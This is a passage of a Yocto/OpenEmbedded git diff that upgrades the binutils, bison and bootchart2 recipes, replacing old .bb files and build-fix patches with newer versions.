-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- bfd/elfnn-riscv.c | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/bfd/elfnn-riscv.c b/bfd/elfnn-riscv.c
-index a5fa415309a..1e582052aa9 100644
---- a/bfd/elfnn-riscv.c
-+++ b/bfd/elfnn-riscv.c
-@@ -2090,13 +2090,14 @@ riscv_elf_relocate_section (bfd *output_bfd,
- pic = bfd_link_pic (info);
-
- if (WILL_CALL_FINISH_DYNAMIC_SYMBOL (dyn, pic, h)
-- && (!pic || !SYMBOL_REFERENCES_LOCAL (info, h)))
-+ && (bfd_link_dll (info)
-+ || !SYMBOL_REFERENCES_LOCAL (info, h)))
- indx = h->dynindx;
- }
-
- /* The GOT entries have not been initialized yet. Do it
- now, and emit any relocations. */
-- if ((bfd_link_pic (info) || indx != 0)
-+ if ((bfd_link_dll (info) || indx != 0)
- && (h == NULL
- || ELF_ST_VISIBILITY (h->other) == STV_DEFAULT
- || h->root.type != bfd_link_hash_undefweak))
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils_2.35.bb b/meta/recipes-devtools/binutils/binutils_2.35.bb
deleted file mode 100644
index 2e645e1ed8..0000000000
--- a/meta/recipes-devtools/binutils/binutils_2.35.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-require binutils.inc
-require binutils-${PV}.inc
-
-DEPENDS += "flex bison zlib"
-
-EXTRA_OECONF += "--with-sysroot=/ \
- --enable-install-libbfd \
- --enable-install-libiberty \
- --enable-shared \
- --with-system-zlib \
- "
-
-EXTRA_OEMAKE_append_libc-musl = "\
- gt_cv_func_gnugettext1_libc=yes \
- gt_cv_func_gnugettext2_libc=yes \
- "
-EXTRA_OECONF_class-native = "--enable-targets=all \
- --enable-64-bit-bfd \
- --enable-install-libiberty \
- --enable-install-libbfd \
- --disable-gdb \
- --disable-gdbserver \
- --disable-libdecnumber \
- --disable-readline \
- --disable-sim \
- --disable-werror"
-
-# gcc9.0 end up mis-compiling libbfd.so with O2 which then crashes on target
-# So remove -O2 and use -Os as workaround
-SELECTED_OPTIMIZATION_remove_mipsarch = "-O2"
-SELECTED_OPTIMIZATION_append_mipsarch = " -Os"
-
-do_install_class-native () {
- autotools_do_install
-
- # Install the libiberty header
- install -d ${D}${includedir}
- install -m 644 ${S}/include/ansidecl.h ${D}${includedir}
- install -m 644 ${S}/include/libiberty.h ${D}${includedir}
-
- # We only want libiberty, libbfd and libopcodes
- rm -rf ${D}${bindir}
- rm -rf ${D}${prefix}/${TARGET_SYS}
- rm -rf ${D}${prefix}/lib/ldscripts
- rm -rf ${D}${prefix}/share/info
- rm -rf ${D}${prefix}/share/locale
- rm -rf ${D}${prefix}/share/man
- rmdir ${D}${prefix}/share || :
- rmdir ${D}/${libdir}/gcc-lib || :
- rmdir ${D}/${libdir}64/gcc-lib || :
- rmdir ${D}/${libdir} || :
- rmdir ${D}/${libdir}64 || :
-}
-
-# Split out libbfd-*.so so including perf doesn't include extra stuff
-PACKAGE_BEFORE_PN += "libbfd"
-FILES_libbfd = "${libdir}/libbfd-*.so.* ${libdir}/libbfd-*.so"
-
-SRC_URI_append_class-nativesdk = " file://0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch "
-
-USE_ALTERNATIVES_FOR_class-nativesdk = ""
-FILES_${PN}_append_class-nativesdk = " ${bindir}"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/binutils/binutils_2.42.bb b/meta/recipes-devtools/binutils/binutils_2.42.bb
new file mode 100644
index 0000000000..2cce40f1ef
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils_2.42.bb
@@ -0,0 +1,76 @@
+require binutils.inc
+require binutils-${PV}.inc
+
+# perl-native for pod2man for man page generation
+DEPENDS += "zlib perl-native"
+
+EXTRA_OECONF += "--with-sysroot=/ \
+ --enable-install-libbfd \
+ --enable-install-libiberty \
+ --enable-shared \
+ --with-system-zlib \
+ "
+
+EXTRA_OEMAKE:append:libc-musl = "\
+ gt_cv_func_gnugettext1_libc=yes \
+ gt_cv_func_gnugettext2_libc=yes \
+ "
+# libcollector/collector.c:547:15: error: no member named '__fprintf_chk' in 'struct CollectorUtilFuncs'
+EXTRA_OECONF:append:toolchain-clang = " --disable-gprofng"
+# | ../../../gprofng/libcollector/../src/collector_module.h:78:13: error: duplicate member 'pwrite'
+# | ../../../gprofng/libcollector/dispatcher.c:578:8: error: 'struct sigevent' has no member named '_sigev_un'
+EXTRA_OECONF:append:libc-musl = " --disable-gprofng"
+
+EXTRA_OECONF:class-native = "--enable-targets=all \
+ --enable-64-bit-bfd \
+ --enable-install-libiberty \
+ --enable-install-libbfd \
+ --disable-gdb \
+ --disable-gdbserver \
+ --disable-libdecnumber \
+ --disable-readline \
+ --disable-sim \
+ --disable-werror"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils"
+
+do_install:class-native () {
+ autotools_do_install
+
+ # Install the libiberty header
+ install -d ${D}${includedir}
+ install -m 644 ${S}/include/ansidecl.h ${D}${includedir}
+ install -m 644 ${S}/include/libiberty.h ${D}${includedir}
+
+ # We only want libiberty, libbfd and libopcodes
+ rm -rf ${D}${bindir}
+ rm -rf ${D}${prefix}/${TARGET_SYS}
+ rm -rf ${D}${prefix}/lib/ldscripts
+ rm -rf ${D}${prefix}/share/info
+ rm -rf ${D}${prefix}/share/locale
+ rm -rf ${D}${prefix}/share/man
+ rmdir ${D}${prefix}/share || :
+ rmdir ${D}/${libdir}/gcc-lib || :
+ rmdir ${D}/${libdir}64/gcc-lib || :
+ rmdir ${D}/${libdir} || :
+ rmdir ${D}/${libdir}64 || :
+}
+
+# libctf races with libbfd
+PARALLEL_MAKEINST:class-target = ""
+PARALLEL_MAKEINST:class-nativesdk = ""
+
+# Split out libbfd-*.so and libopcodes-*.so so including perf doesn't include
+# extra stuff
+PACKAGE_BEFORE_PN += "libbfd libopcodes gprofng"
+FILES:libbfd = "${libdir}/libbfd-*.so.* ${libdir}/libbfd-*.so"
+FILES:libopcodes = "${libdir}/libopcodes-*.so.* ${libdir}/libopcodes-*.so"
+FILES:gprofng = "${sysconfdir}/gprofng.rc ${libdir}/gprofng/libgp-*.so ${libdir}/gprofng/libgprofng.so.* ${bindir}/gp-* ${bindir}/gprofng"
+FILES:${PN}-dev += "${libdir}/libgprofng.so ${libdir}/libsframe.so"
+SRC_URI:append:class-nativesdk = " file://0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch "
+
+USE_ALTERNATIVES_FOR:class-nativesdk = ""
+FILES:${PN}:append:class-nativesdk = " ${bindir}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/bison/bison/0001-bison-fix-the-parallel-build.patch b/meta/recipes-devtools/bison/bison/0001-bison-fix-the-parallel-build.patch
deleted file mode 100644
index c3be91a109..0000000000
--- a/meta/recipes-devtools/bison/bison/0001-bison-fix-the-parallel-build.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From e0dbcee6e25b3c0cb11a627bbfe3af45ef67ec30 Mon Sep 17 00:00:00 2001
-From: Mingli Yu <mingli.yu@windriver.com>
-Date: Thu, 14 May 2020 15:23:16 +0800
-Subject: [PATCH] bison: fix the parallel build
-
-Explicitly make the BUILT_SOURCES which
-are the generated headers such as stdio.h,
-fcntl.h and etc to be the dependencies of
-the gl_LIBOBJS such as libbison_a-sprintf.o,
-libbison_a-printf.o and etc to guarantee the
-BUILT_SOURCES is generated before begin to
-compile EXTRA_lib_libbison_a_SOURCES such as
-fprintf.c in parallel builid, otherwise there
-may come below error:
- | muscle-tab.c:(.text+0x77a): undefined reference to `rpl_sprintf'
-
-It does the same for src_bison_OBJECTS and
-lib_libbison_a_OBJECTS to make sure BUILT_SOURCES
-generated before begin to compile src_bison_SOURCES
-which contains AnnotationList.c and etc.
-
-BTW, the MOSTLYCLEANFILES also contains the
-generated header needs to be created early
-in the build process, so add it also in to
-avoid below error:
- | ./lib/uniwidth/width.c:21:10: fatal error: uniwidth.h: No such file or directory
-
-Upstream-Status: Submitted [bison-patches@gnu.org maillist]
-
-Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
----
- lib/gnulib.mk | 2 ++
- src/local.mk | 1 +
- 2 files changed, 3 insertions(+)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index c21c656..27fb3dc 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -120,6 +120,8 @@ lib_libbison_a_SOURCES =
- lib_libbison_a_LIBADD = $(gl_LIBOBJS)
- lib_libbison_a_DEPENDENCIES = $(gl_LIBOBJS)
- EXTRA_lib_libbison_a_SOURCES =
-+$(lib_libbison_a_OBJECTS): $(BUILT_SOURCES) $(MOSTLYCLEANFILES:%.h)
-+$(gl_LIBOBJS): $(BUILT_SOURCES) $(MOSTLYCLEANFILES:%.h)
-
- lib_libbison_a_CPPFLAGS = $(AM_CPPFLAGS) -DDEFAULT_TEXT_DOMAIN=\"bison-gnulib\"
-
-diff --git a/src/local.mk b/src/local.mk
-index 61dc573..b5b9079 100644
---- a/src/local.mk
-+++ b/src/local.mk
-@@ -24,6 +24,7 @@ if RELOCATABLE_VIA_LD
- src_bison_LDFLAGS = `$(RELOCATABLE_LDFLAGS) $(bindir)`
- endif
-
-+$(src_bison_OBJECTS): $(BUILT_SOURCES) $(MOSTLYCLEANFILES:%.h)
- src_bison_CFLAGS = $(AM_CFLAGS) $(WERROR_CFLAGS)
- src_bison_SOURCES = \
- src/AnnotationList.c \
---
-2.17.1
-
diff --git a/meta/recipes-devtools/bison/bison/autoconf-2.73.patch b/meta/recipes-devtools/bison/bison/autoconf-2.73.patch
new file mode 100644
index 0000000000..8360d3928f
--- /dev/null
+++ b/meta/recipes-devtools/bison/bison/autoconf-2.73.patch
@@ -0,0 +1,24 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next bison upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: findutils-4.9.0/gl/m4/largefile.m4
+===================================================================
+--- findutils-4.9.0.orig/m4/largefile.m4
++++ findutils-4.9.0/m4/largefile.m4
+@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-devtools/bison/bison_3.6.4.bb b/meta/recipes-devtools/bison/bison_3.6.4.bb
deleted file mode 100644
index f3d4d42442..0000000000
--- a/meta/recipes-devtools/bison/bison_3.6.4.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "GNU Project parser generator (yacc replacement)"
-DESCRIPTION = "Bison is a general-purpose parser generator that converts an annotated context-free grammar into \
-an LALR(1) or GLR parser for that grammar. Bison is upward compatible with Yacc: all properly-written Yacc \
-grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with \
-little trouble."
-HOMEPAGE = "http://www.gnu.org/software/bison/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-SECTION = "devel"
-DEPENDS = "bison-native flex-native"
-
-SRC_URI = "${GNU_MIRROR}/bison/bison-${PV}.tar.xz \
- file://add-with-bisonlocaledir.patch \
- file://0001-bison-fix-the-parallel-build.patch \
- "
-SRC_URI[sha256sum] = "8b13473b31ca7fcf65e5e8a74224368ffd5df19275602a9c9567ba393f18577d"
-
-# No point in hardcoding path to m4, just use PATH
-EXTRA_OECONF += "M4=m4"
-
-# Reset any loadavg set via environment, it breaks parallel build
-# | ../bison-3.5.2/lib/uniwidth/width.c:21:10: fatal error: uniwidth.h: No such file or directory
-# | #include "uniwidth.h"
-# | ^~~~~~~~~~~~
-EXTRA_OEMAKE_append = " -l"
-
-inherit autotools gettext texinfo
-
-# The automatic m4 path detection gets confused, so force the right value
-acpaths = "-I ./m4"
-
-do_compile_prepend() {
- for i in mfcalc calc++ rpcalc; do mkdir -p ${B}/examples/$i; done
-}
-
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/bison \
- BISON_PKGDATADIR=${STAGING_DATADIR_NATIVE}/bison
-}
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/bison \
- BISON_PKGDATADIR=${datadir}/bison
-}
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/bison/bison_3.8.2.bb b/meta/recipes-devtools/bison/bison_3.8.2.bb
new file mode 100644
index 0000000000..da138e3587
--- /dev/null
+++ b/meta/recipes-devtools/bison/bison_3.8.2.bb
@@ -0,0 +1,55 @@
+SUMMARY = "GNU Project parser generator (yacc replacement)"
+DESCRIPTION = "Bison is a general-purpose parser generator that converts an annotated context-free grammar into \
+an LALR(1) or GLR parser for that grammar. Bison is upward compatible with Yacc: all properly-written Yacc \
+grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with \
+little trouble."
+HOMEPAGE = "http://www.gnu.org/software/bison/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+SECTION = "devel"
+DEPENDS = "bison-native flex-native"
+
+SRC_URI = "${GNU_MIRROR}/bison/bison-${PV}.tar.xz \
+ file://autoconf-2.73.patch \
+ file://add-with-bisonlocaledir.patch \
+ "
+SRC_URI[sha256sum] = "9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2"
+
+inherit autotools gettext texinfo
+
+# No point in hardcoding path to m4, just use PATH
+CACHED_CONFIGUREVARS = "ac_cv_path_M4=m4"
+
+PACKAGECONFIG ??= "readline ${@ 'textstyle' if d.getVar('USE_NLS') == 'yes' else ''}"
+PACKAGECONFIG:class-native ??= ""
+
+# Make readline and textstyle optional. There are recipie for these, but leave them
+# disabled for the native recipe. This prevents host contamination of the native tool.
+PACKAGECONFIG[readline] = "--with-libreadline-prefix,--without-libreadline-prefix,readline"
+PACKAGECONFIG[textstyle] = "--with-libtextstyle-prefix,--without-libtextstyle-prefix,gettext"
+
+# Include the cached configure variables, configure is really good at finding
+# libreadline, even if we don't want it.
+CACHED_CONFIGUREVARS += "${@bb.utils.contains('PACKAGECONFIG', 'readline', '', ' \
+ ac_cv_header_readline_history_h=no \
+ ac_cv_header_readline_readline_h=no \
+ gl_cv_lib_readline=no', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'textstyle', '', ' \
+ ac_cv_libtextstyle=no', d)}"
+
+# The automatic m4 path detection gets confused, so force the right value
+acpaths = "-I ./m4"
+
+do_compile:prepend() {
+ for i in mfcalc calc++ rpcalc; do mkdir -p ${B}/examples/$i; done
+}
+
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/bison \
+ BISON_PKGDATADIR=${STAGING_DATADIR_NATIVE}/bison
+}
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/bison \
+ BISON_PKGDATADIR=${datadir}/bison
+}
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/bootchart2/bootchart2/0001-Do-not-include-linux-fs.h.patch b/meta/recipes-devtools/bootchart2/bootchart2/0001-Do-not-include-linux-fs.h.patch
new file mode 100644
index 0000000000..4e71e5c788
--- /dev/null
+++ b/meta/recipes-devtools/bootchart2/bootchart2/0001-Do-not-include-linux-fs.h.patch
@@ -0,0 +1,31 @@
+From 8591c1e3edaea8f17396e3d2819d9064b2818cfb Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 6 Aug 2022 20:39:01 -0700
+Subject: [PATCH] Do not include linux/fs.h
+
+This header is not needed to be included anymore, moreover it conflicts
+with sys/mount.h from glibc 2.36+ see [1]
+
+[1] https://sourceware.org/glibc/wiki/Release/2.36
+
+Upstream-Status: Submitted [https://github.com/xrmx/bootchart/pull/99]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ collector/collector.c | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/collector/collector.c b/collector/collector.c
+index 5055181..12738ff 100644
+--- a/collector/collector.c
++++ b/collector/collector.c
+@@ -34,7 +34,6 @@
+
+ #include <sys/mount.h>
+ #include <sys/sysmacros.h>
+-#include <linux/fs.h>
+ #include <linux/genetlink.h>
+ #include <linux/taskstats.h>
+ #include <linux/cgroupstats.h>
+--
+2.37.1
+
diff --git a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
deleted file mode 100644
index 8ee6723df1..0000000000
--- a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From b6d1a1ff2de363b1b76c8c70f77ae56a4e4d4b56 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Thu, 5 Sep 2019 18:37:31 +0800
-Subject: [PATCH] bootchart2: support usrmerge
-
-Upstream-Status: Inappropriate[oe-specific]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 1cc2974..f988904 100644
---- a/Makefile
-+++ b/Makefile
-@@ -36,7 +36,7 @@ endif
- PY_SITEDIR ?= $(PY_LIBDIR)/site-packages
- LIBC_A_PATH = /usr$(LIBDIR)
- # Always lib, even on systems that otherwise use lib64
--SYSTEMD_UNIT_DIR = $(EARLY_PREFIX)/lib/systemd/system
-+SYSTEMD_UNIT_DIR ?= $(EARLY_PREFIX)/lib/systemd/system
- COLLECTOR = \
- collector/collector.o \
- collector/output.o \
-@@ -99,7 +99,7 @@ install-chroot:
- install -d $(DESTDIR)$(PKGLIBDIR)/tmpfs
-
- install-collector: all install-chroot
-- install -m 755 -D bootchartd $(DESTDIR)$(EARLY_PREFIX)/sbin/$(PROGRAM_PREFIX)bootchartd$(PROGRAM_SUFFIX)
-+ install -m 755 -D bootchartd $(DESTDIR)${BASE_SBINDIR}/$(PROGRAM_PREFIX)bootchartd$(PROGRAM_SUFFIX)
- install -m 644 -D bootchartd.conf $(DESTDIR)/etc/$(PROGRAM_PREFIX)bootchartd$(PROGRAM_SUFFIX).conf
- install -m 755 -D bootchart-collector $(DESTDIR)$(PKGLIBDIR)/$(PROGRAM_PREFIX)bootchart$(PROGRAM_SUFFIX)-collector
-
---
-2.7.4
-
diff --git a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch
new file mode 100644
index 0000000000..3cb8a3c2a2
--- /dev/null
+++ b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch
@@ -0,0 +1,68 @@
+From 988ca784d4840c87509e770a21d5d22105af8668 Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Fri, 5 Nov 2021 11:18:07 +0800
+Subject: [PATCH] bootchartd.in: make sure only one bootchartd process
+
+When boot with "init=/sbin/bootchartd" as below:
+ # runqemu qemux86 bootparams="init=/sbin/bootchartd"
+
+There are two bootchartd process after boot [1].
+ # ps -ef | grep bootchart
+root 101 1 0 03:27 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 103 101 8 03:27 ? 00:00:02 /lib64/bootchart/bootchart-collector 50
+root 106 1 0 03:27 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 792 106 0 03:27 ? 00:00:00 /lib64/bootchart/bootchart-collector --usleep 1000000
+root 794 725 0 03:27 ttyS0 00:00:00 grep bootchart
+
+ # /sbin/bootchartd stop
+[bootchart] bootchart-collector started as pid 596 with 2 args:
+[bootchart] '--dump'
+[bootchart] '/tmp/bootchart.3lXpVDAq3v'
+[bootchart] Extracting profile data from pid 204
+[bootchart] map 0xbed9a000 -> 0xbedbb000 size: 132k from 'bed9a000' 'bedbb000'
+[bootchart] read 135168 bytes of 135168
+[bootchart] reading 150 chunks (of 150) ...
+[bootchart] wrote 18760 kbB
+[bootchart] bootchart-collector pid: 596 unmounted proc / clean exit
+
+But there still one process exist after the above stop command finish.
+ # ps -ef | grep bootchartd
+root 202 1 0 09:09 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 629 516 0 09:10 ? 00:00:00 grep bootchartd
+
+Remove the wait_boot which used to wait the boot process to finish to
+make sure only one bootchartd process and meanwhile we don't need the
+wait_boot logic because we either use "/sbin/bootchartd stop" to stop
+the bootchartd manually or install package bootchartd-stop-initscript
+altogether with bootchart2 to stop bootchartd automatically after boot.
+
+After patch:
+ # ps -ef | grep bootchart
+ root 101 1 0 03:36 ? 00:00:00 /bin/sh /sbin/bootchartd
+ root 103 101 6 03:36 ? 00:00:04 /lib64/bootchart/bootchart-collector 50
+ root 596 592 0 03:37 ttyS0 00:00:00 grep bootchart
+
+[1] https://github.com/xrmx/bootchart/issues/94
+
+Upstream-Status: Submitted [https://github.com/xrmx/bootchart/pull/95]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ bootchartd.in | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/bootchartd.in b/bootchartd.in
+index 7979ef9..f0e466d 100755
+--- a/bootchartd.in
++++ b/bootchartd.in
+@@ -183,7 +183,6 @@ if [ $$ -eq 1 ]; then
+ else # running inside the main system
+ echo "bootchart: no initrd used; starting"
+ start &
+- wait_boot &
+ # wait a little, until the collector is going, before allowing
+ # the rest of the system to charge ahead, so we catch it
+ $USLEEP 250000
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb b/meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb
deleted file mode 100644
index a938b2da49..0000000000
--- a/meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb
+++ /dev/null
@@ -1,161 +0,0 @@
-# Copyright (c) 2013 LG Electronics, Inc.
-# Copyright (C) 2014 Intel Corp.
-
-# This recipe creates packages for the bootchart2 system-wide profiler daemon
-# and related utilities. Depending on the images you're building, additional
-# configuration may be needed in order to use it.
-#
-# Packages:
-# * bootchart2 - The daemon itself.
-# * pybootchartgui - Python program to visualize and display the data
-# collected by bootchart2 or compatible daemons such as the original
-# bootchart.
-# * bootchartd-stop-initscript - A SysV init script to stop data collection
-# when booting completes (see below for details.)
-#
-# While bootchart2 is designed to stop collecting data roughly when the boot
-# process completes, it is not exactly a stopwatch. It has a list of programs
-# which are supposed signify that the boot process has completed (for example,
-# openbox or gnome-shell,) but it waits a full 20 seconds after such a program
-# is launched before stopping itself, to collect additional data.
-#
-# If you are using a window manager or GUI which isn't included in bootchart2's
-# default configuration file, you should write bbappend file to amend
-# bootchartd.conf and add it to EXIT_PROC. An example of this is shown in this
-# recipe, where the Matchbox window manager (used by Sato) is added.
-#
-# If you want data collection to end at a certain point exactly, you should
-# arrange for the following command to be run:
-# bootchartd stop
-# You might set this command to be launched by the desktop environment shipped
-# on the image you're building after the other startup programs are complete.
-# This will not incur the 20 second wait period and will cause bootchart2 to
-# behave a bit more like a stopwatch. An example of this is shown in this
-# recipe, specifically the bootchartd-stop-initscript package, which stops data
-# collection as the last action when switching to runlevels 2 through 5. You can
-# add bootchartd-stop-initscript to IMAGE_INSTALL if you need to use it.
-#
-# Unless you're doing something special, if your image does not launch an X
-# window manager, you will need to add bootchartd-stop-initscript to your image.
-#
-# Bootchart2 can be started in two ways. Data collection can be initiated by
-# running the following command:
-# bootchartd start
-# However, for the most complete data, the bootchart2 developers recommend
-# running it as PID 1. This can be done by adding the following to the kernel
-# command line parameters in the bootloader setup:
-# init=/sbin/bootchartd
-# When invoked this way, bootchart2 will set itself up and then automatically
-# run /sbin/init. For example, when booting the default qemux86 image, one might
-# use a command like this:
-# runqemu qemux86 bootparams="initcall_debug printk.time=y quiet \
-# init=/sbin/bootchartd"
-#
-# Neither method is actually implemented here, choose what works for you.
-#
-# If you are building your image with systemd instead of SysV init, bootchart2
-# includes systemd service files to begin collection automatically at boot and
-# end collection automatically 20 seconds after the boot process has completed.
-# However, be aware that systemd tends to start bootchart2 relatively late into
-# the boot process, so it's highly recommended to use bootchart2 as PID 1. If
-# you're using systemd and you wish to use another method to stop data
-# collection at a time of your choosing, you may do so as long as you get to it
-# before the 20 second timeout of the systemd service files. Also, you may write
-# a bbappend to patch bootchart2-done.timer.in to increase or decrease the
-# timeout. Decreasing it to 0 will make it behave like
-# bootchartd-stop-initscript.
-#
-# By default, when data collection is stopped, a file named bootchart.tgz will
-# be created in /var/log. If pybootchartgui is included in your image,
-# bootchart.png will also be created at the same time. However, this results in
-# a noticeable hitch or pause at boot time, which may not be what you want on an
-# embedded device. So you may prefer to omit pybootchartgui from your image. In
-# that case, copy bootchart.tgz over to your development system and generate
-# bootchart.png there. To get pybootchartgui on your development system, you can
-# either install it directly from some other source, or build bootchart2-native
-# and find pybootchartgui in the native sysroot:
-# bitbake bootchart2-native
-# ./tmp/sysroots/x86_64-linux/usr/bin/pybootchartgui /path/to/bootchart.tgz
-# Note that, whether installed on your build system or on your image, the
-# pybootchartgui provided by this recipe does not support the -i option. You
-# will need to install pybootchartgui by other means in order to run it in
-# interactive mode.
-
-SUMMARY = "Booting sequence and CPU,I/O usage monitor"
-DESCRIPTION = "Monitors where the system spends its time at start, creating a graph of all processes, disk utilization, and wait time."
-AUTHOR = "Wonhong Kwon <wonhong.kwon@lge.com>"
-HOMEPAGE = "https://github.com/mmeeks/bootchart"
-LICENSE = "GPL-3.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=44ac4678311254db62edf8fd39cb8124"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+(\.\d+)*)"
-
-SRC_URI = "git://github.com/xrmx/bootchart.git \
- file://bootchartd_stop.sh \
- file://0001-collector-Allocate-space-on-heap-for-chunks.patch \
- file://0001-bootchart2-support-usrmerge.patch \
- "
-
-S = "${WORKDIR}/git"
-SRCREV = "331ada031f1d65f6d934d918f896e1c708c64bf7"
-PV .= "+git${SRCPV}"
-
-inherit systemd update-rc.d python3native update-alternatives
-
-ALTERNATIVE_${PN} = "bootchartd"
-ALTERNATIVE_LINK_NAME[bootchartd] = "${base_sbindir}/bootchartd"
-ALTERNATIVE_PRIORITY = "100"
-
-# The only reason to build bootchart2-native is for a native pybootchartgui.
-BBCLASSEXTEND = "native"
-
-SYSTEMD_SERVICE_${PN} = "bootchart2.service bootchart2-done.service bootchart2-done.timer"
-
-UPDATERCPN = "bootchartd-stop-initscript"
-INITSCRIPT_NAME = "bootchartd_stop.sh"
-INITSCRIPT_PARAMS = "start 99 2 3 4 5 ."
-
-EXTRA_OEMAKE = 'BASE_SBINDIR="${base_sbindir}"'
-
-do_compile_prepend () {
- export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
- export BINDIR="${bindir}"
- export LIBDIR="${base_libdir}"
-}
-
-do_install () {
- install -d ${D}${sysconfdir} # needed for -native
- export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
- export BINDIR="${bindir}"
- export DESTDIR="${D}"
- export LIBDIR="${base_libdir}"
- export PKGLIBDIR="${base_libdir}/bootchart"
- export SYSTEMD_UNIT_DIR="${systemd_unitdir}/system"
-
- oe_runmake install
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/bootchartd_stop.sh ${D}${sysconfdir}/init.d
-
- echo 'EXIT_PROC="$EXIT_PROC matchbox-window-manager"' >> ${D}${sysconfdir}/bootchartd.conf
-
- # Use python 3 instead of python 2
- sed -i -e '1s,#!.*python.*,#!${USRBINPATH}/env python3,' ${D}${bindir}/pybootchartgui
-}
-
-PACKAGES =+ "pybootchartgui"
-FILES_pybootchartgui += "${PYTHON_SITEPACKAGES_DIR}/pybootchartgui ${bindir}/pybootchartgui"
-RDEPENDS_pybootchartgui = "python3-pycairo python3-compression python3-image python3-shell python3-compression python3-codecs"
-RDEPENDS_${PN}_class-target += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'sysvinit-pidof', 'procps', d)}"
-RDEPENDS_${PN}_class-target += "lsb-release"
-DEPENDS_append_class-native = " python3-pycairo-native"
-
-PACKAGES =+ "bootchartd-stop-initscript"
-FILES_bootchartd-stop-initscript += "${sysconfdir}/init.d ${sysconfdir}/rc*.d"
-RDEPENDS_bootchartd-stop-initscript = "${PN}"
-
-FILES_${PN} += "${base_libdir}/bootchart/bootchart-collector"
-FILES_${PN} += "${base_libdir}/bootchart/tmpfs"
-FILES_${PN} += "${libdir}"
-FILES_${PN}-doc += "${datadir}/docs"
-
-RCONFLICTS_${PN} = "bootchart"
diff --git a/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb b/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb
new file mode 100644
index 0000000000..4d8ce4c741
--- /dev/null
+++ b/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb
